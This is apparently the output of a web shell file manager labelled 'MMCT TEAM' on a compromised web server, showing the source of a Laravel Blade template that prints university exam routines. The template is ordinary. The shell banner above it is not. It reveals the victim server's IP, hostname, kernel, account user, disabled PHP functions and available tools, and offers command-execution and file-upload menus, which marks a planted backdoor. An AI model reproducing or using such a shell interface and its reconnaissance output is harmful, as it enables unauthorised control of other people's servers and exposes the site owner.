MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/cms.ncriptech.com/resources/views/admin/exam-routine/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/cms.ncriptech.com/resources/views/admin/exam-routine/print.blade.php
<!DOCTYPE html>
<html lang="en-US">
<head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <meta name="viewport" content="width=device-width,maximum-scale=1.0">
    <title>{{ $title }}</title>
    
    <style type="text/css" media="screen, print">
    @media print {
      @page { size: A4 landscape; margin: 10px; }  
      @page :footer { display: none }
      @page :header { display: none }
      body { margin: 15mm 15mm 15mm 15mm; }
      table, tbody {page-break-before: auto;}
    }
    table, img, svg {
      break-inside: avoid;
    }
    .template-container {
      -webkit-transform: scale(1.0);  /* Saf3.1+, Chrome */
      -moz-transform: scale(1.0);  /* FF3.5+ */
      -ms-transform: scale(1.0);  /* IE9 */
      -o-transform: scale(1.0);  /* Opera 10.5+ */
      transform: scale(1.0);
    }
    
    .class-routine-table {
      border-collapse: collapse;
      border-spacing: 0;
      width: 100% !important;
    }
    .class-routine-table thead th {
        font-size: 14px;
        font-weight: 600;
    }
    .class-routine-table tbody td {
      min-width: auto;
      padding: 5px;
      font-size: 14px;
      border: 1px solid black;
      box-sizing: border-box;
    }
    </style>
    <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/css/prints/routine.css') }}" media="screen, print">

    @php 
    $version = App\Models\Language::version(); 
    @endphp
    @if($version->direction == 1)
    <!-- RTL css -->
    <style type="text/css" media="screen, print">
      .template-container {
        direction: rtl;
      }
    </style>
    @endif
</head>
<body>

<div class="template-container printable" style="width: {{ $print->width }}; height: {{ $print->height }};">
  <div class="template-inner">
    <!-- Header Section -->
    <table class="table-no-border">
        <tbody>
            <tr>
                <td class="temp-logo">
                  <div class="inner">
                    @if(is_file('uploads/'.$path.'/'.$print->logo_left))
                    <img src="{{ asset('uploads/'.$path.'/'.$print->logo_left) }}" alt="Logo">
                    @endif
                  </div>
                </td>
                <td class="temp-title">
                  <div class="inner">
                    <h2>{!! $print->title !!}</h2>
                    <p>{!! strip_tags($print->body, '<br><b><i><strong><u><a><span><del>') !!}</p>
                  </div>
                </td>
                <td class="temp-logo">
                  <div class="inner">
                    @if(is_file('uploads/'.$path.'/'.$print->logo_right))
                    <img src="{{ asset('uploads/'.$path.'/'.$print->logo_right) }}" alt="Logo">
                    @endif
                  </div>
                </td>
            </tr>
        </tbody>
    </table>
    <!-- Header Section -->

    <!-- Header Section -->
    <table class="table-border">
        <thead>
            @foreach($rows as $key => $row)
            @if($loop->first)
            <tr>
                <th>{{ __('field_program') }}: {{ $row->program->shortcode ?? '' }}</th>
                <th>{{ __('field_session') }}: {{ $row->session->title ?? '' }}</th>
                <th>{{ __('field_semester') }}: {{ $row->semester->title ?? '' }}</th>
                <th>{{ __('field_section') }}: {{ $row->section->title ?? '' }}</th>
            </tr>
            @endif
            @endforeach
      </thead>
    </table>
    <!-- Header Section -->

    <!-- Header Section -->
    @if(isset($rows))
    <div class="card-block">
        <!-- [ Data table ] start -->
        <table class="class-routine-table">
            <thead>
                <tr>
                    <th>#</th>
                    <th>{{ __('field_subject') }}</th>
                    <th>{{ __('field_teacher') }}</th>
                    <th>{{ __('field_room') }}</th>
                    <th>{{ __('field_date') }}</th>
                    <th>{{ __('field_start_time') }}</th>
                    <th>{{ __('field_end_time') }}</th>
                </tr>
            </thead>
            <tbody>
                @foreach($rows as $key => $row)
                <tr>
                    <td>{{ $key + 1 }}</td>
                    <td>{{ $row->subject->code ?? '' }} - {{ $row->subject->title ?? '' }}</td>
                    <td>
                        @foreach($row->users as $teacher)
                        {{ $teacher->staff_id }} - {{ $teacher->first_name }} {{ $teacher->last_name }}@if($loop->last) @else, @endif<br/>
                        @endforeach
                    </td>
                    <td>
                        @foreach($row->rooms as $room)
                        {{ $room->title }}@if($loop->last) @else, @endif
                        @endforeach
                    </td>
                    <td>
                        @if(isset($setting->date_format))
                        {{ date($setting->date_format, strtotime($row->date)) }}
                        @else
                        {{ date("Y-m-d", strtotime($row->date)) }}
                        @endif
                    </td>
                    <td>
                        @if(isset($setting->time_format))
                        {{ date($setting->time_format, strtotime($row->start_time)) }}
                        @else
                        {{ date("h:i A", strtotime($row->start_time)) }}
                        @endif
                    </td>
                    <td>
                        @if(isset($setting->time_format))
                        {{ date($setting->time_format, strtotime($row->end_time)) }}
                        @else
                        {{ date("h:i A", strtotime($row->end_time)) }}
                        @endif
                    </td>
                </tr>
                @endforeach
            </tbody>
        </table>
        <!-- [ Data table ] end -->
    </div>
    @endif
    <!-- Header Section -->
  </div>
</div>

    <!-- Print Js -->
    <script src="{{ asset('dashboard/plugins/jquery/js/jquery.min.js') }}"></script>
    <script src="{{ asset('dashboard/plugins/print/js/jQuery.print.min.js') }}"></script>

    <script type="text/javascript">
    $( document ).ready(function() {
      "use strict";
      $.print(".printable");
    });
    </script>

</body>
</html>

MMCT - 2023